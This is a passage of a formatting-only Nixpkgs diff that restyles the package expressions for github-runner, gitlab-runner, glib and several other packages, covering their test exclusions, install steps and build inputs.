-      "GitHub.Runner.Common.Tests.HostContextL0.AuthMigrationAutoReset"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
-      # "JavaScript Actions in Alpine containers are only supported on x64 Linux runners. Detected Linux Arm64"
-      "GitHub.Runner.Common.Tests.Worker.StepHostL0.DetermineNodeRuntimeVersionInAlpineContainerAsync"
-      "GitHub.Runner.Common.Tests.Worker.StepHostL0.DetermineNode20RuntimeVersionInAlpineContainerAsync"
-    ]
-    ++ lib.optionals finalAttrs.DOTNET_SYSTEM_GLOBALIZATION_INVARIANT [
-      "GitHub.Runner.Common.Tests.ProcessExtensionL0.SuccessReadProcessEnv"
-      "GitHub.Runner.Common.Tests.Util.StringUtilL0.FormatUsesInvariantCulture"
-      "GitHub.Runner.Common.Tests.Worker.VariablesL0.Constructor_SetsOrdinalIgnoreCaseComparer"
-      "GitHub.Runner.Common.Tests.Worker.WorkerL0.DispatchCancellation"
-      "GitHub.Runner.Common.Tests.Worker.WorkerL0.DispatchRunNewJob"
-      "GitHub.Runner.Common.Tests.ProcessExtensionL0.SuccessReadProcessEnv"
-    ];
+  disabledTests = [
+    "GitHub.Runner.Common.Tests.Listener.SelfUpdaterL0.TestSelfUpdateAsync"
+    "GitHub.Runner.Common.Tests.ProcessInvokerL0.OomScoreAdjIsInherited"
+  ]
+  ++ map (x: "GitHub.Runner.Common.Tests.Listener.SelfUpdaterL0.TestSelfUpdateAsync_${x}") [
+    "Cancel_CloneHashTask_WhenNotNeeded"
+    "CloneHash_RuntimeAndExternals"
+    "DownloadRetry"
+    "FallbackToFullPackage"
+    "NoUpdateOnOldVersion"
+    "NotUseExternalsRuntimeTrimmedPackageOnHashMismatch"
+    "UseExternalsRuntimeTrimmedPackage"
+    "UseExternalsTrimmedPackage"
+    "ValidateHash"
+  ]
+  ++ map (x: "GitHub.Runner.Common.Tests.Listener.SelfUpdaterV2L0.${x}") [
+    "TestSelfUpdateAsync_DownloadRetry"
+    "TestSelfUpdateAsync_ValidateHash"
+    "TestSelfUpdateAsync"
+  ]
+  ++ map (x: "GitHub.Runner.Common.Tests.Worker.ActionManagerL0.PrepareActions_${x}") [
+    "CompositeActionWithActionfile_CompositeContainerNested"
+    "CompositeActionWithActionfile_CompositePrestepNested"
+    "CompositeActionWithActionfile_MaxLimit"
+    "CompositeActionWithActionfile_Node"
+    "DownloadActionFromGraph"
+    "NotPullOrBuildImagesMultipleTimes"
+    "RepositoryActionWithActionYamlFile_DockerHubImage"
+    "RepositoryActionWithActionfileAndDockerfile"
+    "RepositoryActionWithActionfile_DockerHubImage"
+    "RepositoryActionWithActionfile_Dockerfile"
+    "RepositoryActionWithActionfile_DockerfileRelativePath"
+    "RepositoryActionWithActionfile_Node"
+    "RepositoryActionWithDockerfile"
+    "RepositoryActionWithDockerfileInRelativePath"
+    "RepositoryActionWithDockerfilePrepareActions_Repository"
+    "RepositoryActionWithInvalidWrapperActionfile_Node"
+    "RepositoryActionWithWrapperActionfile_PreSteps"
+  ]
+  ++ map (x: "GitHub.Runner.Common.Tests.DotnetsdkDownloadScriptL0.${x}") [
+    "EnsureDotnetsdkBashDownloadScriptUpToDate"
+    "EnsureDotnetsdkPowershellDownloadScriptUpToDate"
+  ]
+  ++ [ "GitHub.Runner.Common.Tests.Listener.RunnerL0.TestRunOnceHandleUpdateMessage" ]
+  # Tests for trimmed runner packages which aim at reducing the update size. Not relevant for Nix.
+  ++ map (x: "GitHub.Runner.Common.Tests.PackagesTrimL0.${x}") [
+    "RunnerLayoutParts_CheckExternalsHash"
+    "RunnerLayoutParts_CheckDotnetRuntimeHash"
+  ]
+  # Strictly require a Debug configuration to work
+  ++ [
+    # https://github.com/actions/runner/blob/da3412e/src/Runner.Common/HostContext.cs#L260-L266
+    "GitHub.Runner.Common.Tests.HostContextL0.AuthMigrationAutoReset"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
+    # "JavaScript Actions in Alpine containers are only supported on x64 Linux runners. Detected Linux Arm64"
+    "GitHub.Runner.Common.Tests.Worker.StepHostL0.DetermineNodeRuntimeVersionInAlpineContainerAsync"
+    "GitHub.Runner.Common.Tests.Worker.StepHostL0.DetermineNode20RuntimeVersionInAlpineContainerAsync"
+  ]
+  ++ lib.optionals finalAttrs.DOTNET_SYSTEM_GLOBALIZATION_INVARIANT [
+    "GitHub.Runner.Common.Tests.ProcessExtensionL0.SuccessReadProcessEnv"
+    "GitHub.Runner.Common.Tests.Util.StringUtilL0.FormatUsesInvariantCulture"
+    "GitHub.Runner.Common.Tests.Worker.VariablesL0.Constructor_SetsOrdinalIgnoreCaseComparer"
+    "GitHub.Runner.Common.Tests.Worker.WorkerL0.DispatchCancellation"
+    "GitHub.Runner.Common.Tests.Worker.WorkerL0.DispatchRunNewJob"
+    "GitHub.Runner.Common.Tests.ProcessExtensionL0.SuccessReadProcessEnv"
+  ];
 
   testProjectFile = [ "src/Test/Test.csproj" ];
 
-  preCheck =
-    ''
-      # Required by some tests
-      export GITHUB_ACTIONS_RUNNER_TRACE=1
-      mkdir -p _layout/externals
-    ''
-    + lib.optionalString (lib.elem "node20" nodeRuntimes) ''
-      ln -s ${nodejs_20} _layout/externals/node20
-    '';
+  preCheck = ''
+    # Required by some tests
+    export GITHUB_ACTIONS_RUNNER_TRACE=1
+    mkdir -p _layout/externals
+  ''
+  + lib.optionalString (lib.elem "node20" nodeRuntimes) ''
+    ln -s ${nodejs_20} _layout/externals/node20
+  '';
 
-  postInstall =
-    ''
-      mkdir -p $out/bin
+  postInstall = ''
+    mkdir -p $out/bin
 
-      install -m755 src/Misc/layoutbin/runsvc.sh                 $out/lib/github-runner
-      install -m755 src/Misc/layoutbin/RunnerService.js          $out/lib/github-runner
-      install -m755 src/Misc/layoutroot/run.sh                   $out/lib/github-runner
-      install -m755 src/Misc/layoutroot/run-helper.sh.template   $out/lib/github-runner/run-helper.sh
-      install -m755 src/Misc/layoutroot/config.sh                $out/lib/github-runner
-      install -m755 src/Misc/layoutroot/env.sh                   $out/lib/github-runner
+    install -m755 src/Misc/layoutbin/runsvc.sh                 $out/lib/github-runner
+    install -m755 src/Misc/layoutbin/RunnerService.js          $out/lib/github-runner
+    install -m755 src/Misc/layoutroot/run.sh                   $out/lib/github-runner
+    install -m755 src/Misc/layoutroot/run-helper.sh.template   $out/lib/github-runner/run-helper.sh
+    install -m755 src/Misc/layoutroot/config.sh                $out/lib/github-runner
+    install -m755 src/Misc/layoutroot/env.sh                   $out/lib/github-runner
 
-      # env.sh is patched to not require any wrapping
-      ln -sr "$out/lib/github-runner/env.sh" "$out/bin/"
+    # env.sh is patched to not require any wrapping
+    ln -sr "$out/lib/github-runner/env.sh" "$out/bin/"
 
-      substituteInPlace $out/lib/github-runner/config.sh \
-        --replace './bin/Runner.Listener' "$out/bin/Runner.Listener"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace $out/lib/github-runner/config.sh \
-        --replace 'command -v ldd' 'command -v ${glibc.bin}/bin/ldd' \
-        --replace 'ldd ./bin' '${glibc.bin}/bin/ldd ${finalAttrs.dotnet-runtime}/share/dotnet/shared/Microsoft.NETCore.App/${finalAttrs.dotnet-runtime.version}/' \
-        --replace '/sbin/ldconfig' '${glibc.bin}/bin/ldconfig'
-    ''
-    + ''
-      # Remove uneeded copy for run-helper template
-      substituteInPlace $out/lib/github-runner/run.sh --replace 'cp -f "$DIR"/run-helper.sh.template "$DIR"/run-helper.sh' ' '
-      substituteInPlace $out/lib/github-runner/run-helper.sh --replace '"$DIR"/bin/' '"$DIR"/'
+    substituteInPlace $out/lib/github-runner/config.sh \
+      --replace './bin/Runner.Listener' "$out/bin/Runner.Listener"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace $out/lib/github-runner/config.sh \
+      --replace 'command -v ldd' 'command -v ${glibc.bin}/bin/ldd' \
+      --replace 'ldd ./bin' '${glibc.bin}/bin/ldd ${finalAttrs.dotnet-runtime}/share/dotnet/shared/Microsoft.NETCore.App/${finalAttrs.dotnet-runtime.version}/' \
+      --replace '/sbin/ldconfig' '${glibc.bin}/bin/ldconfig'
+  ''
+  + ''
+    # Remove uneeded copy for run-helper template
+    substituteInPlace $out/lib/github-runner/run.sh --replace 'cp -f "$DIR"/run-helper.sh.template "$DIR"/run-helper.sh' ' '
+    substituteInPlace $out/lib/github-runner/run-helper.sh --replace '"$DIR"/bin/' '"$DIR"/'
 
-      # Make paths absolute
-      substituteInPlace $out/lib/github-runner/runsvc.sh \
-        --replace './externals' "$out/lib/externals" \
-        --replace './bin/RunnerService.js' "$out/lib/github-runner/RunnerService.js"
+    # Make paths absolute
+    substituteInPlace $out/lib/github-runner/runsvc.sh \
+      --replace './externals' "$out/lib/externals" \
+      --replace './bin/RunnerService.js' "$out/lib/github-runner/RunnerService.js"
 
-      # The upstream package includes Node and expects it at the path
-      # externals/node$version. As opposed to the official releases, we don't
-      # link the Alpine Node flavors.
-      mkdir -p $out/lib/externals
-    ''
-    + lib.optionalString (lib.elem "node20" nodeRuntimes) ''
-      ln -s ${nodejs_20} $out/lib/externals/node20
-    ''
-    + ''
-      # Install Nodejs scripts called from workflows
-      install -D src/Misc/layoutbin/hashFiles/index.js $out/lib/github-runner/hashFiles/index.js
-      mkdir -p $out/lib/github-runner/checkScripts
-      install src/Misc/layoutbin/checkScripts/* $out/lib/github-runner/checkScripts/
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # Wrap explicitly to, e.g., prevent extra entries for LD_LIBRARY_PATH
-      makeWrapperArgs=()
+    # The upstream package includes Node and expects it at the path
+    # externals/node$version. As opposed to the official releases, we don't
+    # link the Alpine Node flavors.
+    mkdir -p $out/lib/externals
+  ''
+  + lib.optionalString (lib.elem "node20" nodeRuntimes) ''
+    ln -s ${nodejs_20} $out/lib/externals/node20
+  ''
+  + ''
+    # Install Nodejs scripts called from workflows
+    install -D src/Misc/layoutbin/hashFiles/index.js $out/lib/github-runner/hashFiles/index.js
+    mkdir -p $out/lib/github-runner/checkScripts
+    install src/Misc/layoutbin/checkScripts/* $out/lib/github-runner/checkScripts/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # Wrap explicitly to, e.g., prevent extra entries for LD_LIBRARY_PATH
+    makeWrapperArgs=()
 
-      # We don't wrap with libicu
-      substituteInPlace $out/lib/github-runner/config.sh \
-        --replace '$LDCONFIG_COMMAND -NXv ''${libpath//:/ }' 'echo libicu'
-    ''
-    + ''
-      # XXX: Using the corresponding Nix argument does not work as expected:
-      #      https://github.com/NixOS/nixpkgs/issues/218449
-      # Common wrapper args for `executables`
-      makeWrapperArgs+=(
-        --run 'export RUNNER_ROOT="''${RUNNER_ROOT:-"$HOME/.github-runner"}"'
-        --run 'mkdir -p "$RUNNER_ROOT"'
-        --chdir "$out"
-      )
-    '';
+    # We don't wrap with libicu
+    substituteInPlace $out/lib/github-runner/config.sh \
+      --replace '$LDCONFIG_COMMAND -NXv ''${libpath//:/ }' 'echo libicu'
+  ''
+  + ''
+    # XXX: Using the corresponding Nix argument does not work as expected:
+    #      https://github.com/NixOS/nixpkgs/issues/218449
+    # Common wrapper args for `executables`
+    makeWrapperArgs+=(
+      --run 'export RUNNER_ROOT="''${RUNNER_ROOT:-"$HOME/.github-runner"}"'
+      --run 'mkdir -p "$RUNNER_ROOT"'
+      --chdir "$out"
+    )
+  '';
 
   # List of files to wrap
   executables = [
diff --git a/pkgs/by-name/gi/gitlab-runner/package.nix b/pkgs/by-name/gi/gitlab-runner/package.nix
index 77db18ccf2a2..e0a1ba8b85e2 100644
--- a/pkgs/by-name/gi/gitlab-runner/package.nix
+++ b/pkgs/by-name/gi/gitlab-runner/package.nix
@@ -29,43 +29,42 @@ buildGoModule (finalAttrs: {
     ./remove-bash-test.patch
   ];
 
-  prePatch =
-    ''
-      # Remove some tests that can't work during a nix build
+  prePatch = ''
+    # Remove some tests that can't work during a nix build
 
-      # Needs the build directory to be a git repo
-      substituteInPlace commands/helpers/file_archiver_test.go \
-        --replace-fail "func TestCacheArchiverAddingUntrackedFiles" "func OFF_TestCacheArchiverAddingUntrackedFiles" \
-        --replace-fail "func TestCacheArchiverAddingUntrackedUnicodeFiles" "func OFF_TestCacheArchiverAddingUntrackedUnicodeFiles"
-      rm shells/abstract_test.go
+    # Needs the build directory to be a git repo
+    substituteInPlace commands/helpers/file_archiver_test.go \
+      --replace-fail "func TestCacheArchiverAddingUntrackedFiles" "func OFF_TestCacheArchiverAddingUntrackedFiles" \
+      --replace-fail "func TestCacheArchiverAddingUntrackedUnicodeFiles" "func OFF_TestCacheArchiverAddingUntrackedUnicodeFiles"
+    rm shells/abstract_test.go
 
-      # No writable developer environment
-      rm common/build_settings_test.go
-      rm common/build_test.go
-      rm executors/custom/custom_test.go
+    # No writable developer environment
+    rm common/build_settings_test.go
+    rm common/build_test.go
+    rm executors/custom/custom_test.go
 
-      # No Docker during build
-      rm executors/docker/docker_test.go
-      rm executors/docker/services_test.go
-      rm executors/docker/terminal_test.go
-      rm helpers/docker/auth/auth_test.go
+    # No Docker during build
+    rm executors/docker/docker_test.go
+    rm executors/docker/services_test.go
+    rm executors/docker/terminal_test.go
+    rm helpers/docker/auth/auth_test.go
 
-      # No Kubernetes during build
-      rm executors/kubernetes/feature_test.go
-      rm executors/kubernetes/kubernetes_test.go
-      rm executors/kubernetes/overwrites_test.go
-    ''
-    + lib.optionalString stdenv.buildPlatform.isDarwin ''
-      # Invalid bind arguments break Unix socket tests
-      substituteInPlace commands/wrapper_test.go \
-        --replace-fail "func TestRunnerWrapperCommand_createListener" "func OFF_TestRunnerWrapperCommand_createListener"
+    # No Kubernetes during build
+    rm executors/kubernetes/feature_test.go
+    rm executors/kubernetes/kubernetes_test.go
+    rm executors/kubernetes/overwrites_test.go
+  ''
+  + lib.optionalString stdenv.buildPlatform.isDarwin ''
+    # Invalid bind arguments break Unix socket tests
+    substituteInPlace commands/wrapper_test.go \
+      --replace-fail "func TestRunnerWrapperCommand_createListener" "func OFF_TestRunnerWrapperCommand_createListener"
 
-      # No keychain access during build breaks X.509 certificate tests
-      substituteInPlace helpers/certificate/x509_test.go \
-        --replace-fail "func TestCertificate" "func OFF_TestCertificate"
-      substituteInPlace network/client_test.go \
-        --replace-fail "func TestClientInvalidSSL" "func OFF_TestClientInvalidSSL"
-    '';
+    # No keychain access during build breaks X.509 certificate tests
+    substituteInPlace helpers/certificate/x509_test.go \
+      --replace-fail "func TestCertificate" "func OFF_TestCertificate"
+    substituteInPlace network/client_test.go \
+      --replace-fail "func TestClientInvalidSSL" "func OFF_TestClientInvalidSSL"
+  '';
 
   excludedPackages = [
     # Nested dependency Go module, used with go.mod replace directive
diff --git a/pkgs/by-name/gi/gitlab-timelogs/package.nix b/pkgs/by-name/gi/gitlab-timelogs/package.nix
index eb00dfbd7918..c12f7d25b9f8 100644
--- a/pkgs/by-name/gi/gitlab-timelogs/package.nix
+++ b/pkgs/by-name/gi/gitlab-timelogs/package.nix
@@ -19,11 +19,12 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      iconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    iconv
+  ];
 
   useFetchCargoVendor = true;
   cargoHash = "sha256-qSIRcf0HpRg1Eu12L6UcJajHBgjJgfhsHmF1oV1h8HM=";
diff --git a/pkgs/by-name/gi/gitnr/package.nix b/pkgs/by-name/gi/gitnr/package.nix
index 404aaaaf90fc..035c51204724 100644
--- a/pkgs/by-name/gi/gitnr/package.nix
+++ b/pkgs/by-name/gi/gitnr/package.nix
@@ -27,14 +27,13 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libxkbcommon
-      wayland
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libxkbcommon
+    wayland
+  ];
 
   # requires internet access
   doCheck = false;
diff --git a/pkgs/by-name/gi/gitrs/package.nix b/pkgs/by-name/gi/gitrs/package.nix
index d4155f294a13..7d7761d849fe 100644
--- a/pkgs/by-name/gi/gitrs/package.nix
+++ b/pkgs/by-name/gi/gitrs/package.nix
@@ -27,12 +27,13 @@ rustPlatform.buildRustPackage rec {
     pkg-config # for openssl
   ];
 
-  buildInputs =
-    [ openssl.dev ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-      libz
-    ];
+  buildInputs = [
+    openssl.dev
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+    libz
+  ];
 
   meta = with lib; {
     description = "Simple, opinionated, tool, written in Rust, for declaratively managing Git repos on your machine";
diff --git a/pkgs/by-name/gi/gitui/package.nix b/pkgs/by-name/gi/gitui/package.nix
index 2f24dbef6752..3f4b4a901769 100644
--- a/pkgs/by-name/gi/gitui/package.nix
+++ b/pkgs/by-name/gi/gitui/package.nix
@@ -32,12 +32,13 @@ rustPlatform.buildRustPackage {
     cmake
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optional stdenv.hostPlatform.isLinux xclip
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux xclip
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   postPatch = ''
     # The cargo config overrides linkers for some targets, breaking the build
diff --git a/pkgs/by-name/gj/gjs/package.nix b/pkgs/by-name/gj/gjs/package.nix
index 5c38bc00413f..691575c5a93c 100644
--- a/pkgs/by-name/gj/gjs/package.nix
+++ b/pkgs/by-name/gj/gjs/package.nix
@@ -66,20 +66,19 @@ stdenv.mkDerivation (finalAttrs: {
     ./disable-introspection-test.patch
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      makeWrapper
-      which # for locale detection
-      libxml2 # for xml-stripblanks
-      dbus # for dbus-run-session
-      gobject-introspection
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    makeWrapper
+    which # for locale detection
+    libxml2 # for xml-stripblanks
+    dbus # for dbus-run-session
+    gobject-introspection
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     cairo
@@ -90,31 +89,30 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeCheckInputs = [
     xvfb-run
-  ] ++ testDeps;
+  ]
+  ++ testDeps;
 
   propagatedBuildInputs = [
     glib
   ];
 
-  mesonFlags =
-    [
-      "-Dinstalled_test_prefix=${placeholder "installedTests"}"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isLinux || stdenv.hostPlatform.isMusl) [
-      "-Dprofiler=disabled"
-    ];
+  mesonFlags = [
+    "-Dinstalled_test_prefix=${placeholder "installedTests"}"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isLinux || stdenv.hostPlatform.isMusl) [
+    "-Dprofiler=disabled"
+  ];
 
   doCheck = !stdenv.hostPlatform.isDarwin;
 
-  postPatch =
-    ''
-      patchShebangs build/choose-tests-locale.sh
-      substituteInPlace installed-tests/debugger-test.sh --subst-var-by gjsConsole $out/bin/gjs-console
-    ''
-    + lib.optionalString stdenv.hostPlatform.isMusl ''
-      substituteInPlace installed-tests/js/meson.build \
-        --replace "'Encoding'," "#'Encoding',"
-    '';
+  postPatch = ''
+    patchShebangs build/choose-tests-locale.sh
+    substituteInPlace installed-tests/debugger-test.sh --subst-var-by gjsConsole $out/bin/gjs-console
+  ''
+  + lib.optionalString stdenv.hostPlatform.isMusl ''
+    substituteInPlace installed-tests/js/meson.build \
+      --replace "'Encoding'," "#'Encoding',"
+  '';
 
   preCheck = ''
     # Our gobject-introspection patches make the shared library paths absolute
diff --git a/pkgs/by-name/gl/gl2ps/package.nix b/pkgs/by-name/gl/gl2ps/package.nix
index f1a5a9746f4f..7e92c09dd9bb 100644
--- a/pkgs/by-name/gl/gl2ps/package.nix
+++ b/pkgs/by-name/gl/gl2ps/package.nix
@@ -23,16 +23,15 @@ stdenv.mkDerivation rec {
     cmake
   ];
 
-  buildInputs =
-    [
-      zlib
-      libpng
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libGL
-      libGLU
-      libglut
-    ];
+  buildInputs = [
+    zlib
+    libpng
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libGL
+    libGLU
+    libglut
+  ];
 
   meta = with lib; {
     homepage = "http://geuz.org/gl2ps";
diff --git a/pkgs/by-name/gl/glade/package.nix b/pkgs/by-name/gl/glade/package.nix
index 06e25521e876..7e8b2d3b3a40 100644
--- a/pkgs/by-name/gl/glade/package.nix
+++ b/pkgs/by-name/gl/glade/package.nix
@@ -48,21 +48,20 @@ stdenv.mkDerivation rec {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      gtk3
-      glib
-      gjs
-      libxml2
-      python3
-      python3.pkgs.pygobject3
-      gsettings-desktop-schemas
-      gdk-pixbuf
-      adwaita-icon-theme
-    ]
-    ++ lib.optionals enableWebkit2gtk [
-      webkitgtk_4_1
-    ];
+  buildInputs = [
+    gtk3
+    glib
+    gjs
+    libxml2
+    python3
+    python3.pkgs.pygobject3
+    gsettings-desktop-schemas
+    gdk-pixbuf
+    adwaita-icon-theme
+  ]
+  ++ lib.optionals enableWebkit2gtk [
+    webkitgtk_4_1
+  ];
 
   mesonFlags = [
     (lib.mesonEnable "webkit2gtk" enableWebkit2gtk)
diff --git a/pkgs/by-name/gl/glava/package.nix b/pkgs/by-name/gl/glava/package.nix
index 742fbe2a72d0..11d739d8d4ae 100644
--- a/pkgs/by-name/gl/glava/package.nix
+++ b/pkgs/by-name/gl/glava/package.nix
@@ -52,7 +52,8 @@ stdenv.mkDerivation rec {
     libXrender
     libpulseaudio
     libXcomposite
-  ] ++ optional enableGlfw glfw;
+  ]
+  ++ optional enableGlfw glfw;
 
   nativeBuildInputs = [
     python3
diff --git a/pkgs/by-name/gl/glfw3/package.nix b/pkgs/by-name/gl/glfw3/package.nix
index fa740ddbaccf..d5511c2ad8d3 100644
--- a/pkgs/by-name/gl/glfw3/package.nix
+++ b/pkgs/by-name/gl/glfw3/package.nix
@@ -36,23 +36,21 @@ stdenv.mkDerivation {
   };
 
   # Fix linkage issues on X11 (https://github.com/NixOS/nixpkgs/issues/142583)
-  patches =
-    [
-      ./x11.patch
-    ]
-    ++ lib.optionals withMinecraftPatch [
-      ./0009-Defer-setting-cursor-position-until-the-cursor-is-lo.patch
-    ];
+  patches = [
+    ./x11.patch
+  ]
+  ++ lib.optionals withMinecraftPatch [
+    ./0009-Defer-setting-cursor-position-until-the-cursor-is-lo.patch
+  ];
 
   propagatedBuildInputs = lib.optionals (!stdenv.hostPlatform.isWindows) [ libGL ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ wayland-scanner ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ wayland-scanner ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     wayland
diff --git a/pkgs/by-name/gl/glib/package.nix b/pkgs/by-name/gl/glib/package.nix
index 45e1b27165ae..763bb75f6956 100644
--- a/pkgs/by-name/gl/glib/package.nix
+++ b/pkgs/by-name/gl/glib/package.nix
@@ -153,58 +153,56 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  buildInputs =
-    [
-      finalAttrs.setupHook
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isFreeBSD) [
-      libsysprof-capture
-    ]
-    ++ [
-      pcre2
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isWindows) [
-      bash
-      gnum4 # install glib-gettextize and m4 macros for other apps to use
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
-      elfutils
-    ]
-    ++ lib.optionals withDtrace [
-      libsystemtap
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libselinux
-      util-linuxMinimal # for libmount
-    ];
+  buildInputs = [
+    finalAttrs.setupHook
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isFreeBSD) [
+    libsysprof-capture
+  ]
+  ++ [
+    pcre2
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isWindows) [
+    bash
+    gnum4 # install glib-gettextize and m4 macros for other apps to use
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
+    elfutils
+  ]
+  ++ lib.optionals withDtrace [
+    libsystemtap
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libselinux
+    util-linuxMinimal # for libmount
+  ];
 
   depsBuildBuild = [
     pkg-config # required to find native gi-docgen
   ];
 
-  nativeBuildInputs =
-    [
-      docutils # for rst2man, rst2html5
-      meson
-      ninja
-      pkg-config
-      perl
-      python3
-      python3Packages.packaging # mostly used to make meson happy
-      python3Packages.wrapPython # for patchPythonScript
-      gettext
-      libxslt
-    ]
-    ++ lib.optionals withIntrospection [
-      gi-docgen
-      gobject-introspection'
-    ]
-    ++ lib.optionals (withIntrospection && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ]
-    ++ lib.optionals withDtrace [
-      systemtap' # for dtrace
-    ];
+  nativeBuildInputs = [
+    docutils # for rst2man, rst2html5
+    meson
+    ninja
+    pkg-config
+    perl
+    python3
+    python3Packages.packaging # mostly used to make meson happy
+    python3Packages.wrapPython # for patchPythonScript
+    gettext
+    libxslt
+  ]
+  ++ lib.optionals withIntrospection [
+    gi-docgen
+    gobject-introspection'
+  ]
+  ++ lib.optionals (withIntrospection && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ]
+  ++ lib.optionals withDtrace [
+    systemtap' # for dtrace
+  ];
 
   propagatedBuildInputs = [
     zlib
@@ -219,26 +217,25 @@ stdenv.mkDerivation (finalAttrs: {
     shared-mime-info
   ];
 
-  mesonFlags =
-    [
-      "-Dglib_debug=disabled" # https://gitlab.gnome.org/GNOME/glib/-/issues/3421#note_2206315
-      "-Ddocumentation=true" # gvariant specification can be built without gi-docgen
-      (lib.mesonEnable "dtrace" withDtrace)
-      (lib.mesonEnable "systemtap" withDtrace) # requires dtrace option to be enabled
-      "-Dnls=enabled"
-      "-Ddevbindir=${placeholder "dev"}/bin"
-      (lib.mesonEnable "introspection" withIntrospection)
-      # FIXME: Fails when linking target glib/tests/libconstructor-helper.so
-      # relocation R_X86_64_32 against hidden symbol `__TMC_END__' can not be used when making a shared object
-      "-Dtests=${lib.boolToString (!stdenv.hostPlatform.isStatic)}"
-    ]
-    ++ lib.optionals (!lib.meta.availableOn stdenv.hostPlatform elfutils) [
-      "-Dlibelf=disabled"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-      "-Dxattr=false"
-      "-Dsysprof=disabled" # sysprof-capture does not build on FreeBSD
-    ];
+  mesonFlags = [
+    "-Dglib_debug=disabled" # https://gitlab.gnome.org/GNOME/glib/-/issues/3421#note_2206315
+    "-Ddocumentation=true" # gvariant specification can be built without gi-docgen
+    (lib.mesonEnable "dtrace" withDtrace)
+    (lib.mesonEnable "systemtap" withDtrace) # requires dtrace option to be enabled
+    "-Dnls=enabled"
+    "-Ddevbindir=${placeholder "dev"}/bin"
+    (lib.mesonEnable "introspection" withIntrospection)
+    # FIXME: Fails when linking target glib/tests/libconstructor-helper.so
+    # relocation R_X86_64_32 against hidden symbol `__TMC_END__' can not be used when making a shared object
+    "-Dtests=${lib.boolToString (!stdenv.hostPlatform.isStatic)}"
+  ]
+  ++ lib.optionals (!lib.meta.availableOn stdenv.hostPlatform elfutils) [
+    "-Dlibelf=disabled"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+    "-Dxattr=false"
+    "-Dsysprof=disabled" # sysprof-capture does not build on FreeBSD
+  ];
 
   env = {
     NIX_CFLAGS_COMPILE = toString [
@@ -249,28 +246,27 @@ stdenv.mkDerivation (finalAttrs: {
     ];
   };
 
-  postPatch =
-    ''
-      patchShebangs glib/gen-unicode-tables.pl
-      patchShebangs glib/tests/gen-casefold-txt.py
-      patchShebangs glib/tests/gen-casemap-txt.py
-      patchShebangs tools/gen-visibility-macros.py
-      patchShebangs tests
+  postPatch = ''
+    patchShebangs glib/gen-unicode-tables.pl
+    patchShebangs glib/tests/gen-casefold-txt.py
+    patchShebangs glib/tests/gen-casemap-txt.py
+    patchShebangs tools/gen-visibility-macros.py
+    patchShebangs tests
 
-      # Needs machine-id, comment the test
-      sed -e '/\/gdbus\/codegen-peer-to-peer/ s/^\/*/\/\//' -i gio/tests/gdbus-peer.c
-      sed -e '/g_test_add_func/ s/^\/*/\/\//' -i gio/tests/gdbus-address-get-session.c
-      # All gschemas fail to pass the test, upstream bug?
-      sed -e '/g_test_add_data_func/ s/^\/*/\/\//' -i gio/tests/gschema-compile.c
